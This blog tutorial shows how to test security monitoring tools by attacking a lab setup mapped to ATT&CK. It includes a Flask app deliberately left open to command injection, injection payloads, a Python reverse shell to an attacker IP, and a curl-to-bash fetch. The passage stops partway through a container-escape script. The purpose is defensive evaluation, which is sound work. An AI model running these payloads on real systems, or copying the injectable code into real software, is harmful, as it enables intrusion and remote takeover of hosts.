&lt;p&gt;This article should give you an idea on how to take a security solution and build a test case for it, mapping our "attacker" actions to the ATT&amp;amp;CK framework and then comparing those actions to the alerts generated by the tool. I will also show you a sample scorecard to evaluate and compare different vendors. Every time I've run one of these tests I have been surprised by the results. and most often in a bad way. Which is to say, I've learned much more through this process about the weaknesses of various tools by running these tests than I would have via any other method. &lt;/p&gt;

&lt;h2&gt;
  
  
  1 - Requirements Gathering
&lt;/h2&gt;

&lt;p&gt;Before you can run &lt;em&gt;any&lt;/em&gt; test of a security tool you need to know what your requirements are. This means understand what you &lt;strong&gt;need&lt;/strong&gt; it to do vs what you &lt;strong&gt;want&lt;/strong&gt; it to do, and what your nice-to-haves are. For example, many security tools (at the time this is written (hopefully)) don't support monitoring security events that occur inside of containers. Others will only support monitoring events inside of a particular container runtime. You need to determine for yourself if seeing those events is critical, important, or nice-to-have. For me during my last test, it was critical, and that shapes the test plan. &lt;/p&gt;

&lt;p&gt;A (very abbreviated) sample set of requirements:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Critical&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;monitoring of hosted kubernetes environments (GKE, EKS, etc)&lt;/li&gt;
&lt;li&gt;monitoring of self-hosted kubernetes environments&lt;/li&gt;
&lt;li&gt;monitoring of traditional linux VMs&lt;/li&gt;
&lt;li&gt;monitoring of traditional linux VMs running docker

&lt;ul&gt;
&lt;li&gt;via docker runtime&lt;/li&gt;
&lt;li&gt;via containerd&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Important&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;ability to write and customize alerts&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Nice to Haves&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;native monitoring of DNS&lt;/li&gt;
&lt;li&gt;Integration with threat-intel feeds

&lt;ul&gt;
&lt;li&gt;e.g. alerts for connections to malicious IPs&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You should spend as much time as you need on this step because it is the input to all the future steps and as they say, garbage in, garbage out. &lt;/p&gt;

&lt;h2&gt;
  
  
  2 - Design a test plan
&lt;/h2&gt;

&lt;p&gt;Test plans come in all shapes and sizes but in general I try to ensure that I have &lt;em&gt;at least&lt;/em&gt; one action for the following tactics from the ATT&amp;amp;CK framework:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Recon&lt;/li&gt;
&lt;li&gt;Initial Access&lt;/li&gt;
&lt;li&gt;Execution&lt;/li&gt;
&lt;li&gt;Persistence&lt;/li&gt;
&lt;li&gt;Privilege Escalation&lt;/li&gt;
&lt;li&gt;Credential Access&lt;/li&gt;
&lt;li&gt;Discovery&lt;/li&gt;
&lt;li&gt;Lateral movement&lt;/li&gt;
&lt;li&gt;Exfiltration&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This isn't to say that the others aren't important, but for me, those are the ones I want to make sure I have for a basic test. &lt;/p&gt;

&lt;p&gt;In my experience it isn't important for the tactics and techniques you use to be complex or advanced. As a matter of fact, it's best if your initial round of testing &lt;em&gt;isn't&lt;/em&gt; advanced or fancy. By default many security tools won't even detect the basics in a meaningful way and you can always take the things you DID detect and make them fancier and re-test. &lt;/p&gt;

&lt;h2&gt;
  
  
  2 - Test Setup
&lt;/h2&gt;

&lt;h3&gt;
  
  
  2a - Target machines
&lt;/h3&gt;

&lt;p&gt;The following is my generalized setup for the test machines from my most recent test:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A ubuntu 20.04 server named &lt;code&gt;target-a&lt;/code&gt; with:

&lt;ul&gt;
&lt;li&gt;docker + &lt;code&gt;containerd&lt;/code&gt; &lt;/li&gt;
&lt;li&gt;a 20gb file of junk data to "exfil"&lt;/li&gt;
&lt;li&gt;a container vulnerable to RCE running in &lt;code&gt;privileged mode&lt;/code&gt; (details later)&lt;/li&gt;
&lt;li&gt;an SSH key owned by &lt;code&gt;root&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;li&gt;A second ubuntu 20.04 server named &lt;code&gt;lat-a&lt;/code&gt; with: 

&lt;ul&gt;
&lt;li&gt;the SSH public key from &lt;code&gt;target-a&lt;/code&gt; added to &lt;code&gt;authorized-keys&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A sample script that can be used to automate the setup of &lt;code&gt;target-a&lt;/code&gt; can be found here: &lt;a href="https://gist.github.com/LivingInSyn/317a0e664aee59dcf82acf0d9efb70df"&gt;https://gist.github.com/LivingInSyn/317a0e664aee59dcf82acf0d9efb70df&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If the security tool you're evaluating is host based don't forget to add a step the install script to install your security solution, otherwise, you're not going to generate many events. I'm not saying I've forgotten before but, uh, I've definitely wasted time...&lt;/p&gt;

&lt;h3&gt;
  
  
  2b - The vulnerable app
&lt;/h3&gt;

&lt;p&gt;The container vulnerable to RCE is very simple. Like I said before, complexity isn't necessary for this kind of test. The &lt;code&gt;/isup&lt;/code&gt; API is subject to a trivial RCE bug. Sample payloads are provided in section &lt;code&gt;3b&lt;/code&gt; below.&lt;/p&gt;

&lt;h4&gt;
  
  
  vuln_app.py
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;flask&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Flask&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;flask_restful&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;reqparse&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;abort&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Api&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Resource&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;subprocess&lt;/span&gt;

&lt;span class="n"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Flask&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;__name__&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;api&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Api&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;parser&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;reqparse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;RequestParser&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add_argument&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'url'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;IsUp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Resource&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;args&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;parse_args&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;'url'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="n"&gt;command&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s"&gt;'curl -L &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;'&lt;/span&gt;
        &lt;span class="n"&gt;rval&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;shell&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;rval&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;'status'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;'down'&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="mi"&gt;400&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;'status'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;'up'&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;HealthCheck&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Resource&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s"&gt;''&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;


&lt;span class="n"&gt;api&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add_resource&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IsUp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;'/isup'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;api&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add_resource&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;HealthCheck&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;'/'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s"&gt;'__main__'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;'0.0.0.0'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;8080&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Dockerfile
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="s"&gt; python&lt;/span&gt;
&lt;span class="k"&gt;RUN &lt;/span&gt;pip &lt;span class="nb"&gt;install &lt;/span&gt;flask flask-restful
&lt;span class="k"&gt;RUN &lt;/span&gt;&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; /app
&lt;span class="k"&gt;ADD&lt;/span&gt;&lt;span class="s"&gt; vuln_app.py /app/vuln_app.py&lt;/span&gt;
&lt;span class="k"&gt;CMD&lt;/span&gt;&lt;span class="s"&gt; ["python", "/app/vuln_app.py"]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2c - Our attacker machine
&lt;/h3&gt;

&lt;p&gt;Our attacker machine is going to be any linux box. The only requirement is that the box has an IP address accessible by the target machine. For the basic steps detailed in section 3 the tools required are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;netcat&lt;/li&gt;
&lt;li&gt;curl&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For the additional more advanced steps I used &lt;a href="https://github.com/BishopFox/sliver"&gt;sliver&lt;/a&gt; as a c2. Sliver is an excellent tool for the job and unlike some &lt;em&gt;other&lt;/em&gt; tools, it's FOSS! You can easily replace sliver with your tool of choice, however. &lt;/p&gt;

&lt;h2&gt;
  
  
  3 - The attack plan
&lt;/h2&gt;

&lt;p&gt;Our attack plan is outlined below:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;MITRE ATT&amp;amp;CK Technique&lt;/th&gt;
&lt;th&gt;Observed&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Scanning of host (nmap)&lt;/td&gt;
&lt;td&gt;Network, Host, Container&lt;/td&gt;
&lt;td&gt;Recon - Active Scanning - T1595.001&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Command injection - testing&lt;/td&gt;
&lt;td&gt;Network, WAF, Container&lt;/td&gt;
&lt;td&gt;Recon - Active Scanning - T1595.002&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reverse shell in container&lt;/td&gt;
&lt;td&gt;Network, Container&lt;/td&gt;
&lt;td&gt;Initial Access - Exploit Public-Facing Application - T1190&lt;br&gt;Execution - Command and script interpreter (python) - T1059.006&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Data collection / recon in container&lt;/td&gt;
&lt;td&gt;Container&lt;/td&gt;
&lt;td&gt;Recon - Gather Victim Host Information:&lt;br&gt; Software - T1592.002&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Container Breakout&lt;/td&gt;
&lt;td&gt;Host, Container&lt;/td&gt;
&lt;td&gt;Priv. Esc. - Escape to host - T1611&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reverse shell in host&lt;/td&gt;
&lt;td&gt;Network, Host&lt;/td&gt;
&lt;td&gt;Execution - Command and script interpreter (python) - T1059.006&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Data collection / recon in host&lt;/td&gt;
&lt;td&gt;Host&lt;/td&gt;
&lt;td&gt;Recon - Gather Victim Host Information:&lt;br&gt; Software - T1592.002&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Credential Access: dump /etc/shadow&lt;/td&gt;
&lt;td&gt;Host&lt;/td&gt;
&lt;td&gt;Cred. Access - Credentials from Password Stores - T1555&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Credential Access: Searching for plaintext passwords&lt;/td&gt;
&lt;td&gt;Host&lt;/td&gt;
&lt;td&gt;Cred. Access/Discovery - Credentials from Password Stores - T1555&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Discovery: dump /etc/passwd&lt;/td&gt;
&lt;td&gt;Host&lt;/td&gt;
&lt;td&gt;Cred. Access - Account Discovery: Local Account - T1087.001&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Persistence: modify crontab&lt;/td&gt;
&lt;td&gt;Host&lt;/td&gt;
&lt;td&gt;Persistance - Scheduled Task/Job:&lt;br&gt; Cron - T1053.003&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Attacker installed tooling: AWS CLI&lt;/td&gt;
&lt;td&gt;Host&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Exfil: AWS S3 Bucket Upload&lt;/td&gt;
&lt;td&gt;Network, Host&lt;/td&gt;
&lt;td&gt;Exfiltration - Exfiltration Over Web Service:&lt;br&gt; Exfiltration to Cloud Storage - T1567.002&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Some additional more advanced steps that we shouldn't run until (at least) our second round of testing and that we won't cover in this simplified guide:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;MITRE ATT&amp;amp;CK Technique&lt;/th&gt;
&lt;th&gt;Observed&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Silver C2&lt;/td&gt;
&lt;td&gt;Network, Host, Container&lt;/td&gt;
&lt;td&gt;Command and Control: Application Layer Protocols: Web Protocols - T1071.001&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hide the file from Silver C2&lt;/td&gt;
&lt;td&gt;Host&lt;/td&gt;
&lt;td&gt;Defense Evasion - Hide Artifacts: Hidden Files and Directories - T1564.001&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Run the PS command to see processes&lt;/td&gt;
&lt;td&gt;Host&lt;/td&gt;
&lt;td&gt;Discovery - Process Discovery - T1057&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Gathering data from GCP buckets&lt;/td&gt;
&lt;td&gt;Host&lt;/td&gt;
&lt;td&gt;Discovery - Cloud Storage Object Discovery - T1619&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Discover hosts on the same subnet&lt;/td&gt;
&lt;td&gt;Network, Host&lt;/td&gt;
&lt;td&gt;Recon - Active Scanning - T1595&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Use stolen key to move laterally&lt;/td&gt;
&lt;td&gt;Network, Host&lt;/td&gt;
&lt;td&gt;Lateral Movement - Remote Services - T1021&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;We won't run through all of these steps in detail, but we will run through several of them.&lt;/p&gt;

&lt;h3&gt;
  
  
  3a - Scanning
&lt;/h3&gt;

&lt;p&gt;From the attacker host, scan the public IP of &lt;code&gt;target-a&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-vv&lt;/span&gt; &lt;span class="nt"&gt;-O&lt;/span&gt; &lt;span class="nv"&gt;$VICTIM_IP&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3b - Test command injection
&lt;/h3&gt;

&lt;p&gt;We want to do three things here&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;a valid test (baseline)&lt;/li&gt;
&lt;li&gt;a test with a blind test (&lt;code&gt;sleep&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;a test with output (&lt;code&gt;whoami&lt;/code&gt;)
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-XPOST&lt;/span&gt; &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/json'&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"url":"google.com"}'&lt;/span&gt;  http://&lt;span class="nv"&gt;$VICTIM_IP&lt;/span&gt;/isup &lt;span class="c"&gt;# valid test&lt;/span&gt;

curl &lt;span class="nt"&gt;-XPOST&lt;/span&gt; &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/json'&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"url":"google.com &amp;amp;&amp;amp; sleep 10"}'&lt;/span&gt;  http://&lt;span class="nv"&gt;$VICTIM_IP&lt;/span&gt;/isup &lt;span class="c"&gt;# blind test, takes 10 seconds to return&lt;/span&gt;

curl &lt;span class="nt"&gt;-XPOST&lt;/span&gt; &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/json'&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"url":"google.com &amp;amp;&amp;amp; whoami"}'&lt;/span&gt;  http://&lt;span class="nv"&gt;$VICTIM_IP&lt;/span&gt;/isup &lt;span class="c"&gt;# test getting output (non-blind)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3c - Reverse shell on the container
&lt;/h3&gt;

&lt;p&gt;Now we want to spawn a reverse shell from the container back to our attacker machine. On our attacker machine we want to start our reverse shell listener on port &lt;code&gt;55555&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-lnvp&lt;/span&gt; 55555
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now create a github gist (or pastebin or simple webserver on our attacker box etc.) with the following contents. This is an optional step, but I find it makes keeping track of things easier. Make sure to replace &lt;code&gt;&amp;lt;YOUR ATTACKER IP HERE&amp;gt;&lt;/code&gt; with your attacker IP:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;python&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="s"&gt;'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("&amp;lt;YOUR ATTACKER IP HERE&amp;gt;",55554));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note that you can generate alternate reverse shells easily using &lt;a href="https://www.revshells.com/"&gt;https://www.revshells.com/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Run the injection and spawn our reverse shell, replacing &lt;code&gt;&amp;lt;YOUR GIST URL&amp;gt;&lt;/code&gt; with your gist url or rev shell&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-XPOST&lt;/span&gt; &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/json'&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"url":"google.com &amp;amp;&amp;amp; curl &amp;lt;YOUR GIST URL&amp;gt; | /bin/bash"}'&lt;/span&gt; http://&lt;span class="nv"&gt;$VICTIM_IP&lt;/span&gt;/isup
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3d - Data collection / recon in container
&lt;/h3&gt;

&lt;p&gt;From our newly created reverse shell, lets run some verifiable actions that we should see in our security tool&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;whoami
hostname
cat&lt;/span&gt; /etc/os-release
&lt;span class="nb"&gt;uname&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At this point we can probably guess that we're inside of a container and we should try and break out!&lt;/p&gt;

&lt;h3&gt;
  
  
  3e - Container Breakout + Host Shell
&lt;/h3&gt;

&lt;p&gt;For the container breakout step we're going to use a process called PID bashing. You can read more about it here:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html"&gt;https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To do it, we're first going to create another gist/paste/file-on-webserver with the following contents (making sure to replace the IP placeholder again):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/sh&lt;/span&gt;

&lt;span class="nv"&gt;OUTPUT_DIR&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/"&lt;/span&gt;
&lt;span class="nv"&gt;MAX_PID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;65535
&lt;span class="nv"&gt;CGROUP_NAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"xyx"&lt;/span&gt;
&lt;span class="nv"&gt;CGROUP_MOUNT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/tmp/cgrp"&lt;/span&gt;
&lt;span class="nv"&gt;PAYLOAD_NAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;CGROUP_NAME&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;_payload.sh"&lt;/span&gt;
&lt;span class="nv"&gt;PAYLOAD_PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;OUTPUT_DIR&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;PAYLOAD_NAME&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nv"&gt;OUTPUT_NAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;CGROUP_NAME&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;_payload.out"&lt;/span&gt;
